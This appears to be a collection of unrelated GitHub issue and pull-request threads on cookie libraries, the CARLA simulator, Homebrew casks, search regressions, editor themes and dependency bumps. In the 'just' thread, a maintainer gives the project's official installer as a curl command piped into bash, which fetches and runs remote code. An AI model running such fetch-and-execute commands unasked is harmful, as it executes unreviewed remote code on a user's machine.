text:
$.removeCookie is not a recognized on Chrome

Hello guys, how are you?
A problem appeared for me a few days ago, I have been working in this solution, even though, I was not able to find yet, maybe you can help me.
I'm using the jquery-cookie in my project, I developed it in my local host (mac).
The function $.removeCookie works fine in all browsers in my local machine, when I put the code in the server (google clouding - ubunto) the function $.removeCookie is not recognized on Chrome, but the others browsers works well including mobile version.
In chrome I'm able to create the cookie by function $cookie, but not to delete.
The code is:
$.cookie("identificacao", data[0].ID_PJ, {expires: 1, path: '/'})
$.removeCookie('identificacao', {path: '/'});
The error is: Uncaught TypeError: $.removeCookie is not a function
Do you have some suggestion?
Regards
Estevão

I have absolutely no idea what might be causing it, is there a way to look at the code/problem online?

Hi, I'm thinking how to show the code on line. You can see the problem clicking in this link:
http://www.paymenu.com.br/login.html
After click on the button "login" you will be able to see the error in the console using chrome, with the other browsers everything works fine.
You don't need to fill the user and the password, just click in the button login.
is it enough?
Regards

First thing I saw is you're including both jquery.cookie.js and the newer js.cookie.js... you should settle on one of them, preferably js.cookie.js, which is the one that is being maintained.

I took of the file jquery.cookie.js, the error stiil there. Very interesting, it look like that the chrome is not seeing the js.cookie.js ...

@estevaosa Can you please provide a simple example that reproduces the issue? Otherwise this seems to be a usage problem and therefore you have a best chance of getting a response if you ask on StackOverflow.
I suggest either using js-cookie v1.5.1 if you want $.cookie or $.removeCookie APIs, because since 2.0.0 those APIs were changes to Cookies.set, Cookies.get and Cookies.remove.

@FagnerMartinsBrack thank you for the answer. I done exactly what you said, now everything is fine. I made a new download of js.cookie.js and I used the Cookies.set, Cookies.get and Cookies.remove.
Thank you @carhartl and @FagnerMartinsBrack
Regards
Estevão

Glad you solved it, closing then :+1:

authors: FagnerMartinsBrack carhartl estevaosa

repo: carhartl/jquery-cookie

license: mit

license_source: bigquery


text:
assertion error when trying to run carla on windows

Hi there,
i'm newby in carla really newby and just get it installed on windows based on the steps on the documentation. i was trying to run town03 example to make sure that everything is working but i got an assertion error. when generating the project and compiling it under VS there is no error. can someone please help.
thank you and best regards.

Sorry for the delay, we are in the middle of the vacation season. @Axel1092 could you help with this?

Hi germanros,
Yesterday in fact, i was able to resolve the issue. I was using the wrong asset package. I was using the assets from the 0.9.9 with carla version 0.9.10.
Thank you again for the support,
Omar

repo: carla-simulator/carla


text:
How to get camera intrinsic matrix?

Thank you for publishing this great drive simulator code.
I am trying to map depth points(u,v,depth) from Pixel coordinates to World coordinates(x,y,z).
To do this, Camera intrinsic parameter is necessary. I found that "CameraFOV(horizontal field of view) and ImageSize (in CarlaSettings.ini)" is parameters for calculating camera intrinsic matrix. I thought as following.
Focus_length = ImageSizeX /(2 * tan(CameraFOV * π / 360))
Center_X = ImageSizeX / 2
Center_Y = ImageSizeY / 2

But I found this intrinsic matrix is not correct enough because 3D points (transformed from depth points(u,v,depth) by this matrix) has some distortion.
Could you tell me how to get camera intrinsic matrix?
(Now I think Focus_length_per_pixel (fx, fy) or distortion parameter is necessary for this. )
[P.S.]
To confirm whether my implementation is correct, please tell me the definition of depth length in each image pixel. I think this depth is the length from Camera coordinate original point to each point.
(not simply z value in Camera coordinate)

Hello @syinari0123,
Sorry for the late response.
Yes, the depth is perpendicular to the projection plane.
We've been doing some experiments and we've got results without noticiable distortion.
Your code is correct to me, and the intrinsic matrix shoud be the following one:
K = [[f, 0, Cu],
     [0, f, Cv],
     [0, 0, 1 ]]

Given a 2D point p2d = [u,v,1], your world point position P = [X,Y,Z] will be:
P = ( inv(K) * p2d ) * depth

We're working on a example integrating the point cloud with the python client.
I hope we are going to release it soon :)
Due to #58 we can't get the correct camera world rotation, but it will be fixed in the next release.

Thank you for replying.
I modified my code following as what you say, I was able to get correct result ! Thank you! :)
I thought depth is the ray length to each point from the pole (like LIDAR sensor's value, what is called, "r in polar coordinate system" ), which caused distortion in my code.

Glad it worked! :)

Sorry, I have some question about it.
I implemented a code which transforms a point(u,v) on the image into wold coord's point(x,y,z) according to your formula.
I found it has some distortion between images.
Example of transformation between 2 images(t,t+1) is following.
img(t)

img(t+1)

The result of transformation t->t+1 is following.(Points on img(t) are projected on img(t+1).)

At first glance, you think transformation is good. However, plotting all these points in world coords and comparing these, you will find this has some distortion. Following figure is the result of plotting point clouds. This figure is seen from right side of this world coords.
(Red points are from img(t), Green points are from img(t+1), Blue line is all trajectory from the moving vehicle.)
I think red(img(t)) and green(img(t+1)) would match on this map if there is no distortion.

I think this distortion is caused from  provided by Unreal Engine.
Maybe  or  effect this distortion for creating realistic image.
Could you tell me how to undistort the image taken by CARLA? Or If you could, please add a function to adjust or turn off this distortion in CARLA simulator in the future...
Best regards.


text:
Run carlaUE4 crash while draging Traficlights into the scene

0.9.15-dev
Ubuntu 20.04
issue: CarlaUE4 crashed when added trafficlights into the scene and play.
expectation: I wanna add trafficlights to my custom map exported from Roadrunner.
I import a custom map from RoadRunner, I have placed traficlights in the Roadrunner, but none of them showed up in carlaUE4. So I follow these step to place Trafficlights using CarlaUE4

After I draged the trafficlights into the scene, and I Play, then CarlaUE4 crashed!

Is there solution for this? Or, anyother way to add trafficlights to my custom map exported from Roadrunner?
tks!

Thanks, it works

I'm glad it worked!
Then i'll close the issue.
Thanks again!

Hi,
I am also facing the same issue. Earlier I followed the steps given by @chuanye-Wang but traffic lights not working and now I it server is getting crashed.
How to go to this sublevel  as given in this step
"First, move to the correct sublevel for traffic lights (double click sublevel "layout")"
Thanks

authors: SExpert12 chuanye-Wang gsmario


text:
Results in CARLA legacy paper

I have two questions about the results presented in CARLA legacy paper, Table 1.

I assume that for those different tasks (straight, turn, navigation, and dynamic navigation) you have run 100 tests after training and reported the number of successful results. Could you please confirm my understanding? Obviously this is not the case for MP- my question refers to just IL and RL case.

How do you conclude that a certain experiment is successful? Obviously, we can visualize it, but is there any part in code that give us this conclusion?

Thanks,

Yes, i think you are right. This was basically the percentage of succesful episodes considering 25 episodes each. Of course the tests were performed after training.

The experiment is successful if :
The agent reachs the goal in less time than a certain time limit. The agent starts on a certain point A and is directed to reach a certain point B. For this benchmark, a collision is not considered as a reason for failure, the agent can collide and still succeed.

Thanks for your clarification.
I am still a bit confused about the results presented in legacy paper Table 1.
My question is which code has led to those results? driving_benchmark_example --corl2017 or something else?
Thanks.

The codes are on other CARLA organization repositories, we have the reinforcement learning and the imitation learning repos.
All the discussions with respect to benchmarks are moved to a new repo.
https://github.com/carla-simulator/driving-benchmarks

authors: AliBaheri felipecode


text:
[Bug]: sensory imprint are not working

Check for existing bug reports before submitting.

[X] I searched for existing Bug Reports and found no similar reports.

Expected Behavior
The sensory imprints areas are not editable
Current behaviour

Reproduction

Which Operating Systems are you using?

[ ] Android
[ ] iPhone/iPad
[ ] Linux
[ ] macOS
[ ] Windows

Obsidian Version Check
1.5
Plugin Version
4.1.4
Confirmation

[X] I have disabled all other plugins and the issue still persists.

Possible solution
No response

Fixed in 4.1.8

repo: carlonicora/obsidian-rpg-manager


text:
How to map a large CSV into a Flux?

Given a (large) CSV (or JSON), is there a way to create a Flux<Model> as opposed to a Flux<Statement> (.map creates individual quads) or Model (.mapToModel creates a big graph)?
I considered splitting a flux but cannot think of a generic way to define the criteria boundary to capture all statements for a CSV record.
To rephrase this: I have a very large CSV (> 5 million records as a stream) for which I would like to convert each record individually to linked data. Is this possible? How should I do this? Thanks!

Hi @rorlic, it is possible to create a Model for each statement . For example like:
statementFlux.map(statement -> new LinkedHashModel(Set.of(statement)))

However, that seems a curious thing to do. Could you share a bit more about what you are trying to achieve? Do you want to output this data to a file or data store? Or are you perhaps processing the data further?

@rorlic looking at your question again (with fresh eyes😅), I realize I misunderstood your question.
Outputting a model per record is not something that is currently supported out of the box, however, if you e.g. provide a Flux<Record> yourself, you could use the RmlMapper.mapRecordToModel method.
Somehing like this (untested)
public void mapToModelPerCsvRecord(InputStream inputStream, RdfRmlMapper rmlMapper) {
    var settings = new CsvParserSettings();
    settings.setHeaderExtractionEnabled(true);
    settings.setLineSeparatorDetectionEnabled(true);
    settings.setDelimiterDetectionEnabled(true);
    settings.setReadInputOnSeparateThread(true);
    settings.setMaxCharsPerColumn(-1);
    var parser = new CsvParser(settings);

    Flux<Record> recordFlux = Flux.fromIterable(parser.iterateRecords(inputStream));

    recordFlux
       .map(record -> rmlMapper.mapRecordToModel(record, Record.class));
       // process further ;
}

Generating the flux of records is basically using the same code that the logical source resolver is using. https://github.com/carml/carml/blob/db7298a4cff9d69aebd54da0831bd0a822d3d3a4/carml-logical-source-resolver-csv/src/main/java/io/carml/logicalsourceresolver/CsvResolver.java#L65
Note that this approach is not standard RML processor behavior. If you use the mapRecordToModel interface, any specified rml:source value on a rml:LogicalSource will be ignored, since the record will be used as source.
Note also that the iterator of the logical source will be executed on that record (for CSV this will not matter).

authors: pmaria rorlic

repo: carml/carml


text:
nit: Typo in README

Create a fork of the project into your own reposity.

Not following what is the issue about? Can you clarify what you are look for?

The word repository is misspelt as reposity

Typo corrected.


text:
Send a message based on the title of the marketplace post

import fbchat
from fbchat.models import *
class EchoBot(fbchat.Client):
def onMessage(self, author_id, message_object, thread_id, thread_type, **kwargs):
print("{} from {}".format(message_object, thread_id))
if message_object.text == "POST TITLE":
self.send(Message(text="hello...."), thread_id=thread_id, thread_type=thread_type)
bot = EchoBot(“user”, “pass”)
bot.listen()
So basically this is echobot example. The problem is that when someone texts me in for a marketplace post, I have to give a different answer based on the product
From the listening in the terminal I see this type of chat as a group and asap the chat is opened the thread title gets changed to the name of the product. Now, where is this name stored? How can I parse if it's the text i'm looking for to give a certain answer? Thanks for the help.

You can get the name of the thread using fetchThreadInfo
thr = client.fetchThreadInfo(thread_id)[thread_id]
name = thr.name # get the name of the thread where the message come from
if name == "product" # check if the thread name match the product name
    self.send(Message(text="answer"), thread_id=thread_id, thread_type=thread_type) # Reply when thread name match the product

authors: effeci trangcongloc


text:
Add python 3.7 environment and update incompatible libraries [WIP]

Unit tests are ok.
tox is failing creating virtual environments on my setup.

@tizz98 fixed tox issues, looks good to go!

repo: carta/franz


text:
ModuleNotFoundError: No module named 'noise.connection'

while running a python script getting this error. Can anybody help?

Having the same issue as codershubham:
import noise

ModuleNotFoundError: No module named 'noise'
Occurs with and without virtual environment venv when ran from terminal or PyCharm IDE.
Under: Ubuntu 22.04 with latest updates,
Python: Python 3.11.0
Pip: pip 22.3

Maybe you can try:
https://github.com/plizonczyk/noiseprotocol

authors: Monotoba codershubham xpt3

repo: caseman/noise


text:
React 16.2.x runtime throws an exception on ES7 autobind render()

Any usage of this component with the latest React causes:
Cannot assign to read only property 'render' of object '#<ProxyComponent>'

This PR changes render = () => syntax to regular method declaration in handleFocus component.

@azproduction thanks for the PR!

authors: azproduction elvisvoer

repo: casesandberg/react-color


text:
Can just be compiled to WebAssembly?

I want to run just without installing anything. I thought wasm may be a good tool for that.

I don't know, since I don't think anyone's tried. I would try wasmtime or wasmer.

When you say you don't want to install anything, what do you mean?

When you say you don't want to install anything, what do you mean?

Without any e.g. brew install just. Just download just.wasm file and run it via wamstime/wasmer

Can you download a release binary? That would let you avoid installing brew.
The latest releases are here, which includes binaries for various platforms.
You can also use the install script, like so, which will download the latest release:
curl --proto '=https' --tlsv1.2 -sSf https://just.systems/install.sh | bash -s -- --to DEST

As a possible alternative, looks like someone figured how to compile JustFiles into portable shell scripts.
https://github.com/jstrieb/just.sh
It's in python rather than rust unfortunately, so would need to be ported if you want to bake it into just.

authors: casey mofosyne przemyslawjanpietrzak

repo: casey/just


text:
Default precompile setup not working (compared to generate)

So - this was noticed in https://github.com/casid/jte/issues/177
I've switched our project to using jte { generate() } which works well (in the Gradle build script).  All the JTE files in src/main/jte are picked up, compiled and included in the final jar nicely.
If I try jte { precompile() } then none of the jte files end up in the final jar file.
I'll try to see what is missing or not configured properly.

Judging by the description in JteStage it looks like precompile is not intended to put the files into the jar.
The main difference is that the compilation errors are received at a different time.
Could it be a good option to call precompileJte as a human friendly check to make sue JTE/KTE files are correct, and then leave the generateJte task as it to include the final files in the Jar file?

Actually - I see from the gradle task order that doing both won't make sense.
Precompile need access to the compiled java/kotlin classes beforehand.
Generate has to run before the compile java/kotlin phase.
So it seems everything is good & I just needed some education :)

repo: casid/jte


text:
Full text search

It should be relatively simple to implement locally.
Would it be useful to also allow server-side search?

Fixed in #252.

repo: casimir/frigoligo


text:
Confusing text at homepage

When you enter in caskroom website, you see:
"Install with ease" with a chrome installation example. But this is confusing because, you don't have cask yet.
I suggest move the "get cask" box to the top, before the examples.

Please do not open issues if you’re going to submit a PR right after.

Sorry about that. It was not my intend to send the pull request. But I found some free time and decide to do it myself :)

authors: rafaelbiriba vitorgalvao


text:
Armory 0.94.1

Changes to a cask
Editing an existing cask

[x] Commit message includes cask’s name (and new version, if applicable).
[ ] brew cask audit --download {{cask_file}} is error-free.
[ ] brew cask style --fix {{cask_file}} left no offenses.

Armory has recently changed developers, and is now available from GitHub. It is also now under multiple licenses, so oss is more appropriate.
https://bitcointalk.org/index.php?topic=1351792 - old dev announces moving on
https://bitcointalk.org/index.php?topic=1351924.0 - new development anouncement

Seems official enough to me. Is this a direct continuation of development? (i.e. Do we need to prefix it, like gitx)

It is a direct continuation of development. The new lead developer was a member of the previous development team/company.

Updated with an appcast

LGTM

authors: adidalal fanquake

repo: caskroom/homebrew-cask


text:
Update PSequel to version 1.5.0

Changes to a cask
Editing an existing cask

[x] Commit message includes cask’s name (and new version, if applicable).
[x] brew cask audit --download {{cask_file}} is error-free.
[x] brew cask style --fix {{cask_file}} left no offenses.

Thank you.

authors: reacuna vitorgalvao


text:
add Tamarin-prover update from 1.0.0 to 1.2.0; auto-update not possible

If there’s a checkbox you can’t complete for any reason, that's okay, just explain in detail why you weren’t able to do so.
After making all changes to the cask:

[x] brew cask audit --download {{cask_file}} is error-free.
[x] brew cask style --fix {{cask_file}} reports no offenses.
[x] The commit message includes the cask’s name and version.

Additionally, if adding a new cask:

[ ] Named the cask according to the token reference.
[ ] brew cask install {{cask_file}} worked successfully.
[ ] brew cask uninstall {{cask_file}} worked successfully.
[ ] Checked there are no open pull requests for the same cask.
[ ] Checked the cask was not already refused in closed issues.
[ ] Checked the cask is submitted to the correct repo.

The appcast url is https://github.com/tamarin-prover/tamarin-prover/releases.atom, and the checkpoint is:
d53924084b55faacd8db4d3c65bbfbfc51583107708084b4e8189fb4ae4d9677 -- do I add this to the tamarin-prover.rb file in my repo, then push that up to my repo and re-submit a PR, and if so, will it merge automatically? Or do you need to add this?
Thanks,
Martin


text:
Add NanoWallet 1.4.13

NanoWallet is the official wallet application for the NEM project.

After making all changes to the cask:

[x] brew cask audit --download {{cask_file}} is error-free.
[x] brew cask style --fix {{cask_file}} reports no offenses.
[x] The commit message includes the cask’s name and version.

Additionally, if updating a cask:
(Not updating a cask).
Additionally, if adding a new cask:

[x] Named the cask according to the token reference.
[x] brew cask install {{cask_file}} worked successfully.
[x] brew cask uninstall {{cask_file}} worked successfully.
[x] Checked there are no open pull requests for the same cask.
[x] Checked the cask was not already refused in closed issues.
[x] Checked the cask is submitted to the correct repo.

Thank you for the contribution. It was merged directly as ab861923aacc168960aa9899aa0c0ad72601241b. Your contribution is still credited to you.

authors: L-Cafe vitorgalvao


text:
Add Apple Juice

After making all changes to the cask:

[x] brew cask audit --download {{cask_file}} is error-free.
[x] brew cask style --fix {{cask_file}} reports no offenses.
[x] The commit message includes the cask’s name and version.

Additionally, if updating only the sha256:

[x] I verified this change is legitimate How do I do that? and am providing confirmation below:

Additionally, if adding a new cask:

[x] Named the cask according to the token reference.
[x] brew cask install {{cask_file}} worked successfully.
[x] brew cask uninstall {{cask_file}} worked successfully.
[x] Checked there are no open pull requests for the same cask.
[x] Checked the cask was not already refused in closed issues.
[x] Checked the cask is submitted to the correct repo.

Needs uninstall

Thank you for your contribution.

authors: commitay jelflein miccal


text:
Disable wiki

(Title)
same needs to be done for a few other caskroom repos also

Seems like it isn’t necessary.
What I see logged in:

What I see logged out:

authors: adidalal vitorgalvao

repo: caskroom/homebrew-fonts


text:
Update font-monoid-nerd-font-mono to 1.1.0

After making all changes to the cask:

[x] brew cask audit --download {{cask_file}} is error-free.
[x] brew cask style --fix {{cask_file}} left no offenses.
[x] The commit message includes the cask’s name and version.

Additionally, if updating a cask:

[ ] sha256 changed but version stayed the same (what is this?).
I’m providing public confirmation below.

Thank you for the contribution. It was merged directly as 8c1da91d3d5bc900ae584af7dd5e60914e7e7071. Your contribution is still credited to you.

authors: giannitm vitorgalvao


text:
🛑 Scouts Main Site is down

In a50f2e5, Scouts Main Site (https://12hs.org.uk) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Scouts Main Site is back up in d8816f1.


text:
SPIKE - Review of Python SDK Endpoints

As per JSSDK 3.0  architecture discussions : https://github.com/casper-ecosystem/casper-js-sdk/discussions/332

https://github.com/casper-ecosystem/casper-js-sdk/discussions/332#discussioncomment-7096817

authors: RBYGLLS gyroflaw

repo: casper-ecosystem/casper-js-sdk


text:
CI: Setup prior to building client contracts

Adds:

run make setup prior to building to ensure toolchain is present.

bors r+

repo: casper-network/casper-node


text:
Manually construct query instead of using QueryParser.

@lintool I suspect the same issue with the tests as the Rm3 change (cw09b is failing) - I'll re-run the failed regressions once they've finished with more logging and update the regression results if that's the issue.

@lintool The issue here was related to #452 - the query "403b" didn't have any similar terms in the query expansion. Previously the original query was fed into the query parser when this happened, so I've updated the code here to just do a TermQuery (instead of BoostQuery) when no similar terms are found.
The failing regression looks to be passing, I'll run the others over the next day for a sanity check.

Are the regression tests all passed?

@Peilin-Yang cw09b was the only failing test, it looks to be good now. I'm running the others just to make sure the change didn't effect them.

@r-clancy Did the regression numbers change for cw09b? I don't see a diff of AP here in this PR.

Okay, thanks - once you confirm the other regressions pass okay, we'll be good to merge.

authors: Peilin-Yang lintool r-clancy

repo: castorini/Anserini


text:
Ingestion of MS MARCO into Solr and ES

Figure out how to ingest MS MARCO passage/doc collections into Solr and Elasticsearch. Update documentation as needed.

Indexing of both MS MARCO doc and passage collections works well. But getting an issue with BM 25 retrieval

MS MARCO passage works now, part of #907

Originally planned to be part of v0.7.0 release - features mostly there, but not 100% complete. Punting for now.

With #1030 we now have a consistent set of regressions for robust04, core18, and msmarco-passage.

repo: castorini/anserini


text:
replication results for MSMARCO document and CovidQA.

Finally, replication on Colab through ssh is successful with K80 ....
Colab Environment:
OS: Ubuntu-18.04.3 LTS
Java: 11.0.8
Python: 3.6.9
results are shown below:

experiments-msmarco-document(identical with the documents):
Re-Ranking with monoT5:
First half:

Second half:

experiments-CovidQA(identical with the documents):
Re-Ranking with Random:
NL Question:

Keyword Query:

Re-Ranking with BM25:
NL Question:

Keyword Query:

Re-Ranking with monoT5:
NL Question:

Keyword Query:

LGTM! Thanks for adding this

repo: castorini/pygaggle


text:
Rename electric_opex_ferc1 to electric_operating_expenses_ferc1

In the PUDL DB two of the new tables we've integrated from FERC 1 are currently named:

electric_operating_revenues_ferc1 and
electric_opex_ferc1

These tables are analogous to each other (one just records revenues and the other expenses, within the same financial category) and should be named using a similar pattern, so I suggest we change electric_opex_ferc1 to electric_operating_expenses_ferc1 as there's no well-known shorthand for "operating revenues" like there is for expenses.

That makes sense to me. I wonder if there are any other cases where we might want to enumerate opex into operating expenses.
For now, I think this makes sense as an isolated update.

authors: aesharpe zaneselvans

repo: catalyst-cooperative/pudl


text:
finer control over treesitter integration (italicization, etc)

First off, this colorscheme is really awesome! =) I'd just like to have the option to configure how the treesitter integration behaves. not sure if this is already doable since it's not documented in the readme. Examples below are written in typescript.
setup with integrations.treesitter = true

setup with integrations.treesitter = false

I much prefer the syntax highlighting with treesitter enabled, but I'm not really a fan of the italicization for object properties & function calls. It can be a bit jarring for me if an object has a lot of props, especially deeply nested ones.
I understand that the italicization is hardcoded here but am not sure how this can be configured without manually overriding file in the cloned repo. Having a way to control this would be really good imo, especially considering how popular treesitter is. Thanks!

Every highlight group can be customized: https://github.com/catppuccin/nvim#overwriting-highlight-groups
Let me know if you need help using the API :)

Thank you for pointing this out! Some help would be great :)
For example, if i want to remove italicization for this highlight group but keep the color the same:

How should i go about this with the API you provided?

AH nevermind, after some messing around i got it to work. Big thanks!! Love this colorscheme! ;)

repo: catppuccin/nvim


text:
fix(youtube): shorts progressbar

🔧 What does this fix? 🔧
Fixes the unthemed progressbar on shorts.

Preview

🗒 Checklist 🗒

[X] I have read and followed Catppuccin's contributing guidelines.
[X] I have updated the version appropriately in the ==UserStyle== header of the catppuccin.user.css file.

im going to draft this pull request because both isabel and uncenter is on break and can't really review PRs, going to reopen it once the break is over

What? Neither of us is "on break" and I'm not sure how a draft PR makes it any different.

What? Neither of us is "on break" and I'm not sure how a draft PR makes it any different.

huh, i thought you were on break because you stopped reviewing prs for a while

I've opened 6 PRs myself in the past 3 days and closed multiple others, as well as provided updated reviews. But again, that aside, making your PRs drafts does absolutely nothing. All it does is incorrectly signal that you are not ready for this to be reviewed. Please leave a thumbs up if you understand.

repo: catppuccin/userstyles


text:
Update fs2-core, fs2-io to 3.0.5

Updates

co.fs2:fs2-core
co.fs2:fs2-io

from 2.5.7 to 3.0.5.
GitHub Release Notes - Changelog - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "co.fs2" } ]

labels: library-update, semver-major

Superseded by #229.


text:
Failed to init on MySQL 5.5

Description

Setting up cayley to use on an existing mysql 5.5 db fails trying to init.
Steps to reproduce the issue:

Use mysql 5.5
Use this config file

store:
  # backend to use
  backend: mysql
  # address or path for the database
  address: "address"
  # open database in read-only mode
  read_only: false
  # backend-specific options
  options:
    nosync: false
query:
  timeout: 10s
load:
  ignore_duplicates: false
  ignore_missing: false
  batch: 10000

Run this docker command
docker run --name cayley -v data:/data -p 64210:64210 -d quay.io/cayleygraph/cayley --init -c /data/cayley.yml
Received results:

1 quadstore.go:222] Cannot create nodes table: Error 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(6)

Expected results:
Output of cayley version or commit hash:
Be able to query existing db using cayley

Environment details:
Backend database: mysql 5.5

What is the best way to run those tests. It seems like it uses a docker environment?

You only need Docker installed locally, change the MySQL version in the test and run:
go test --tags docker github.com/cayleygraph/cayley/graph/sql/mysql

Cool thanks.

Any updates on this one? Have you tried running the tests for MySQL 5.5?

Assuming this can be resolved by updating.

authors: demamoh dennwc

repo: cayleygraph/cayley


text:
chore: bdd-spring-1590502936 to 0.0.1

chore: Promote bdd-spring-1590502936 to version 0.0.1

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approvers:
If they are not already assigned, you can assign the PR to them by writing /assign  in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


text:
IClassListener is executed on each test method invocation rather than once per class

Listeners implementing IClassListener are running on each test method invocation, resulting in multiple calls per class.
I've created a simple Maven project demonstrating the issue (run with mvn test): https://github.com/skirkpatrick/TestNG-Class-Listener-Bug
Expected output:
Running TestSuite
onBeforeClass
test 1
test 2
onAfterClass

Actual output:
Running TestSuite
onBeforeClass
test 1
onAfterClass
onBeforeClass
test 2
onAfterClass

In fact, the expected output is:
onBeforeClass (test 1)
onBeforeClass (test 2)
test 1
test 2
onAfterClass (test 1)
onAfterClass (test 2)

But I'm agree with you, we should add 2 methods without IMethodInstance too.

Okay, that makes sense. Just for clarification, the methods without the IMethodInstance would behave like the no-argument @BeforeClass and @AfterClass methods? i.e., it would produce the output that I was originally expecting?

the methods without the IMethodInstance would behave like the no-argument @BeforeClass and @AfterClass methods?

Yes!
To be honest, the current behavior was not expected and you've just found an issue I didn't see: I didn't make enough test cases when I implemented the listener. And I was surprised to be notified many times too.
But once you have a look at the parameters, it makes sense.
As a workaround, I register notified classes into a collection and skip them after.

Fixed by #1047

authors: juherr skirkpatrick

repo: cbeust/testng


text:
Add PSEye resolution control

Added control over the PSEye frame width and height. Since they are
linked only the width is specified in the configuration files but both
are available to be changed. They have been implemented similar to the
frame rate. The frame rate calls have been slightly changed so that they
match the frame width and height (ie. Framerate has been renamed FrameRate).
When changing the frame resolution the buffer is closed and reopened by
ServerTrackerView so that it has the correct size. This causes the video
feed in Color calibration to freeze so it is automatically exited and
reopened.
The QVGA resolution may be useful for the position triangulation method
if more than four cameras are used.
This currently uses my fork of PS3EYEDriver but I've already made a PR for it (https://github.com/inspirit/PS3EYEDriver/pull/42).

Merging this in so that I can pull it into final C-API work.

repo: cboulay/PSMoveService


text:
n9e日志查询比较难用

发现用windows 电脑搜索比较卡
日志即时查询功能不是很好用，希望可以加强一些

@jiaozi07 可以说下不好用，具体是哪里不好用，介绍下你的具体的使用场景，想看什么日志，使用的什么查询条件

详细的描述有助于我们快速定位问题和需求

看到 ”发现用windows 电脑搜索比较卡“ 这应该属于性能问题，我们计划明年初会优化性能
”查询功能不好用“ 和 ”参考sls的方式“ 这些都太模糊了，希望能举一些具体一点的例子

repo: ccfos/nightingale


text:
Fix Webpack 5 warnings with Create React App

The package was shipping source maps in dist pointing to paths like ../src/components, so Webpack threw a warning when it couldn't find them.
This PR ships the source code in the package so source maps don't point to nothing. One other solution would be not to use source maps, but this one is probably nicer for DX :)
Fixes #210

@cchanxzy Just a ping in case you missed this in your notifs :)

Codecov Report

Merging #216 (d7e54b3) into master (36950cc) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##            master      #216   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files           14        14
  Lines          359       359
  Branches       145       145
=========================================
  Hits           359       359

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f4cef96...d7e54b3. Read the comment docs.

Sorry for the delay in reviewing the PR! Thanks for fixing @adamsoutar, and @GautamGupta for giving me a helpful prompt :)

authors: GautamGupta adamsoutar cchanxzy codecov-commenter

repo: cchanxzy/react-currency-input-field


text:
Modular dependency tracker

Now that a full Java module descriptor is in place thanks to #16 it would also be a good idea to keep track of current dependencies (compile & runtime) to see which ones may need updates in terms of Java modules support. Consumers wishing to use cdevents with modular Java Runtimes (created with jlink) require dependencies with full module descriptors.
Current dependency graph (mvn dependency:tree)
dev.cdevents:cdevents-sdk-java:jar:0.1.0-SNAPSHOT
+- io.cloudevents:cloudevents-core:jar:2.3.0:compile
|  \- io.cloudevents:cloudevents-api:jar:2.3.0:compile
+- com.fasterxml.jackson.core:jackson-databind:jar:2.15.0:compile
|  +- com.fasterxml.jackson.core:jackson-annotations:jar:2.15.0:compile
|  \- com.fasterxml.jackson.core:jackson-core:jar:2.15.0:compile
+- com.fasterxml.jackson.datatype:jackson-datatype-jsr310:jar:2.15.0:compile
+- com.networknt:json-schema-validator:jar:1.0.80:compile
|  +- com.fasterxml.jackson.dataformat:jackson-dataformat-yaml:jar:2.15.0:compile
|  |  \- org.yaml:snakeyaml:jar:2.0:compile
|  +- org.apache.commons:commons-lang3:jar:3.12.0:runtime
|  \- com.ethlo.time:itu:jar:1.7.0:compile
+- org.slf4j:slf4j-api:jar:2.0.7:compile
+- org.slf4j:slf4j-reload4j:jar:2.0.7:runtime
  \- ch.qos.reload4j:reload4j:jar:1.2.22:runtime

Module names per dependency

Dependency
Module Name
Source
Fix

cloudevents-core-2.3.0
io.cloudevents.core
manifest

cloudevents-api-2.3.0
io.cloudevents.api
manifest

jackson-databind-2.15.0
com.fasterxml.jackson.databind
explicit
OK

jackson-annotations-2.15.0
com.fasterxml.jackson.annotation
explicit
OK

jackson-core-2.15.0
com.fasterxml.jackson.core
explicit
OK

jackson-datatype-jsr310-2.15.0
com.fasterxml.jackson.datatype.jsr310
explicit
OK

json-schema-validator-1.0.80
json.schema.validator
filename

jackson-dataformat-yaml-2.15.0
com.fasterxml.jackson.dataformat.yaml
explicit
OK

snakeyaml-2.0
org.yaml.snakeyaml
explicit
OK

commons-lang3-3.12.0
org.apache.commons.lang3
manifest

itu-1.7.0
itu
filename

slf4j-api-2.0.7
org.slf4j
explicit
OK

slf4j-reload4j-2.0.7
slf4j.reload4j
filename

reload4j-1.2.22
reload4j
filename

[ ] cloudevents https://github.com/cloudevents/sdk-java/issues/555

Depends on https://github.com/cdevents/sdk-java/issues/39

@aalmiray is this something you are still working on? It could be a candidate for hacktoberfest otherwise

It seems reload4j will not jump to modules. I'd recommend removing any loggin framewrok from runtime dependencies as it's the job of the consuming project to determine which logging framework should be used.
For tests, this project could use slf4j-simple.

authors: aalmiray afrittoli

repo: cdevents/sdk-java


text:
Changes For Issue 536

This PR add updates for Issue 536. Changes are as follows:

All operations have been integrated into one class
All operations handle both dask and pandas dataframe properly.
All the unit tests have been updated to include tests for dask datafame too
All tests are updated to use new operations class
Changes have been made to main code to use services of new operations class

To test run unit tests

Implemented by: https://github.com/cdisc-org/cdisc-rules-engine/pull/615

authors: RamilCDISC gerrycampion

repo: cdisc-org/cdisc-rules-engine


text:
feat(deps): upgrade runtime dependencies

Upgrades project dependencies. See details in workflow run.

Automatically created by projen via the "upgrade-runtime-dependencies-2.x" workflow

⚪ Backport skipped
The pull request was not backported as there were no branches to backport to. If this is a mistake, please apply the desired version labels or run the backport tool manually.
Manual backport
To create the backport manually run:
backport --pr 1139

Questions ?
Please refer to the Backport tool documentation


text:
chore(deps): upgrade runtime dependencies

Upgrades project dependencies. See details in workflow run.

Automatically created by projen via the "upgrade-runtime-dependencies-2.x" workflow

⚪ Backport skipped
